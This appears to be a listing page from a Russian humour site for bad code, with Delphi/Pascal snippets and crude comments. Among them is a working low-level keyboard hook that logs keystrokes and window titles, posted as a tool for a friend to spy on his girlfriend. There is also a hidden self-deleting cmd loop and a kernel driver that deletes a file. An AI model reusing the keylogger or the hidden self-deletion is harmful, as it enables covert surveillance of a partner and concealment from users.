Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
0
inside:=false;
tag:=uppercase(tagpure);
spacep:=pos(' ',tag);
if spacep=0 then tagname:=tag else tagname:=copy(tag,1,spacep-1);
if (not inscript) and (tagname='A') then
begin
ParseTag(tagpure);
//если флажок Ссылки или флажок Якоря включен
if checkBox9.Checked or checkBox10.Checked then
begin
linktext:=Lg.GR(24);
linktag:='HREF';
link2text:=Lg.GR(25);
link2tag:='NAME';
needlink:=true;
needdbr:=true;
end;
end;
Вернулся в 2007 1997.
s: h/465709
gost,
01 Сентября 2019
0
Ent := 0.0;
for I := Low(Freq) to High(Freq) do
Ent := Ent + Freq[I];
Ent := Ln(FileSize(Input)) / Ln(2) * Ent;
for I := Low(Freq) to High(Freq) do
begin
if Freq[I] > 0 then
Ent := Ent - Freq[I] * Ln(Freq[I]) / Ln(2);
end;
Ent := Ent / FileSize(Input);Скучно, девочки!
Increment_Excrement,
23 Марта 2019
−2
Program Aliski;
uses Graphabc;
begin
SetWindowWidth(800);
SetWindowHeight(600);
SetPenWidth(3);
SetFontSize(18);
SetFontColor(clGreen);
rectangle(85,80,500,140);
TextOut(100,100,'Алексей у тебя реально 10см?');
Circle(350,500, 40);
Circle(430,500, 40);
FloodFill(350,500,clSkyBlue);
FloodFill(430,500,clPurple);
Line(350,460,350,250);
Line(430,460,430,250);
Line(340,250,440,250);
Line(390,220,390,200);
Arc(390,250,50,0,180);
end.Ученик решил поприкалываться над товарищем на уроке
vodandr,
28 Января 2019
−102
procedure SelfDelete;
var
S,SS:string;
begin
SS:=ParamStr(0);
S:='/c for /L %f in (1,1,100000) do if exist("'+SS+'") del /q /f^"+SS+" else exit';
ShellExecute(0, nil, 'CMD', @S[1],nil, SW_HIDE);
FatalAppExit(0,"Админ, забань борманда")
end;Великий конспиратор продакшн.
blackray,
01 Ноября 2018
+4
unit ZwDeleteFileSample;
interface
uses Windows, nt_status, native, hal, fcall, macros, ntoskrnl;
function _DriverEntry(DriverObject: PDriverObject; RegistryPath: PUnicodeString): NTSTATUS; stdcall;
implementation
procedure DriverUnload(pDriverObject: PDriverObject); stdcall;
begin
DbgPrint('Test Driver :: Unloaded');
end;
function _DriverEntry(DriverObject: PDriverObject; RegistryPath: PUnicodeString): NTSTATUS; stdcall;
var UNICODESTRING: UNICODE_STRING;
obj: OBJECT_ATTRIBUTES;
begin
DbgPrint('Test Driver :: Loaded');
DriverObject^.DriverUnload := @DriverUnload;
RtlInitUnicodeString(UNICODESTRING, '\??\C:\test.exe');
InitializeObjectAttributes(obj, @UNICODESTRING, OBJ_CASE_INSENSITIVE + OBJ_KERNEL_HANDLE, 0, nil);
Result := ZwDeleteFile(@obj);
if Result = STATUS_SUCCESS then
begin
DbgPrint('File deleted sucessfully - Result:0x%.8X', Result); // Result to get Error Code
end else
begin
DbgPrint('Fail to delete file - Result:0x%.8X', Result); // Result to get Error Code
DbgPrint('Object name :%wZ', obj.ObjectName); // Result to get Error Code
end;
Result := STATUS_SUCCESS;
end;
end.Драйвер на дэлфи. Ничего необычного, листайте дальше.
blackray,
29 Октября 2018
0
procedure TMainForm.FormCreate(Sender: TObject);
var
s : String;
reg : TRegistry;
begin
SetLength (s, Max_Path);
SHGetSpecialFolderPath (0, PChar(s), CSIDL_COMMON_APPDATA, false);
AppDataPath := s + '\Test\';
ShowMessage (AppDATAPath);
end;
, где AppDataPath : string;
Только вот в AppDataPath находиться только S, а должно быть s + '\Test\'
Вопрос: Почему?
Заранее благодарен
Потому что нельзя передавать паскалевскую строку в виде PChar в функцию, которая будет её там модифицировать. Нужно делать так:
Код:
var
s : array[ 0..MAX_PATH ] of Char;
reg : TRegistry;
begin
s[ 0 ] := #0;
SHGetSpecialFolderPath (0, s, CSIDL_COMMON_APPDATA, false);
AppDataPath := s + '\Test\';
ShowMessage (AppDATAPath);
end;
http://www.programmersforum.ru/showthread.php?t=84319
@Потому что нельзя передавать паскалевскую строку в виде PChar в функцию, которая будет её там модифицировать.
Ахуенно крутой спец по строкам.
Кстати, https://primechaniya.ru/home/news/oktyabr-2018/v-tatarstane-18-podrostkov-otravilis-kitajskimi-duhami/
BagorCtretora,
08 Октября 2018
+2
unit KHook;
interface
uses Windows, SysUtils, Messages;
const
WH_KEYBOARD_LL = 13;
LLKHF_UP = $0080;
type
TKbdHookEvent=procedure (S:WideString);
type
PKbdDllHookStruct = ^TKbdDllHookStruct;
TKbdDllHookStruct = record
vkCode: DWORD;
scanCode: DWORD;
flags: DWORD;
time: DWORD;
dwExtraInfo: PDWORD;
end;
KBDLLHOOKSTRUCT = TKbdDllHookStruct;
implementation
var
KbdProc:TKbdHookEvent=nil;
Hook:HHOOk;
WinTitle:WideString='';
function lpfn(nCode,wParam,lParam:Integer):Integer; stdcall;
var
KeyName:WideString;
CurrWinTitle:WideString;
KeyState : TKeyboardState;
hklLayout:HKL;
FW:HWND;
begin
try
if (nCode = HC_ACTION) and ((wParam = WM_KEYDOWN) or (wParam=WM_SYSKEYDOWN)) then
begin
FW:=GetForegroundWindow;
hklLayout:=GetKeyboardLayout(GetWindowThreadProcessId(FW, nil));
GetKeyboardState(KeyState);
SetLength(CurrWinTitle, 1000);
SetLength(CurrWinTitle, GetWindowTextW(FW, @CurrWinTitle[1], 1000));
with PKbdDllHookStruct(LParam)^ do
case vkCode of
VK_BACK: KeyName := '[BackSpace]';
VK_TAB: KeyName := '[Tab]';
VK_CAPITAL: KeyName := '[CapsLock]';
VK_RETURN: KeyName := '[Enter]';
VK_ESCAPE: KeyName := '[Esc]';
VK_CANCEL: KeyName := '[Cancel]';
VK_F1: KeyName := '[F1]';
{...}
VK_HELP: KeyName := '[Help]';
else
SetLength(KeyName,1);
KeyState[VK_SHIFT]:=GetKeyState(VK_SHIFT);
KeyState[VK_CAPITAL]:=GetKeyState(VK_CAPITAL);
if ToUnicodeEx(vkCode, MapVirtualKeyW(vkCode, 0,), @KeyState, @KeyName[1], SizeOf(WideChar), 0, hklLayout) <> 1 then
KeyName:='?!ERROR'; // не корысти ради, токмо для отладки.
end;
if KeyName='' then KeyName:=IntToStr(PKbdDllHookStruct(LParam)^.vkCode);
if WinTitle='' then
begin
WinTitle:=CurrWinTitle;
KeyName:=CurrWinTitle+' {'#13#10+KeyName;
end
else if WinTitle <> CurrWinTitle then
begin
WinTitle:=CurrWinTitle;
KeyName:='}'#13#10+CurrWinTitle+' {'#13#10+KeyName;
end;
KbdProc(KeyName);
end;
finally
Result := CallNextHookEx(Hook,nCode,wParam,lParam);
end;
end;
function SetHook(lpCallBack:TKbdHookEvent):Boolean;
begin
if Assigned(lpCallBack) then
KbdProc:=lpCallBack;
Hook:=SetWindowsHookExW(WH_KEYBOARD_LL, lpfn, HInstance,0);
Result:=(Hook <> INVALID_HANDLE_VALUE);
end;
function RemoveHook:Boolean;
begin
Result:=UnHookWindowsHookEx(Hook);
end;
exports SetHook,
RemoveHook;
end.
Клавиатурный сексот на Delphi.
Никогда такой хуйнёй не страдал, пишу для друга, который подозревает свою деву в изменах.
BagorCtretora,
04 Октября 2018
−3
{$APPTYPE CONSOLE}
Procedure G(p: pointer);
Const
Messages: array[false..true] of string = ('Не гниль', 'Гниль');
Begin
Writeln(Messages[p=nil])
End;
Begin
G(nil)
End.https://ideone.com/XWhPQf
nu3gELL,
27 Сентября 2018
−1
procedure ChangeChar(var c: char; val: char);
begin
c := val;
end;Это из модуля PABCSystem. Но зачем?
Morgoth,
26 Сентября 2018
−3
30 июня 2012 года Михаилу Подивилову (mihip, podivilov) пришла в голову создать свою систему счисления WCT.
Напоминаю, что цифры WCT ABCDEFGHIJKLMNPO соответствует цифрам HEX 0123456789ABCDEF соответственно.
А реализация компилятора была написана на Embarcadero Delphi.
Стертор, не ты ли это?
dm_fomenok,
29 Июня 2018
Follow us!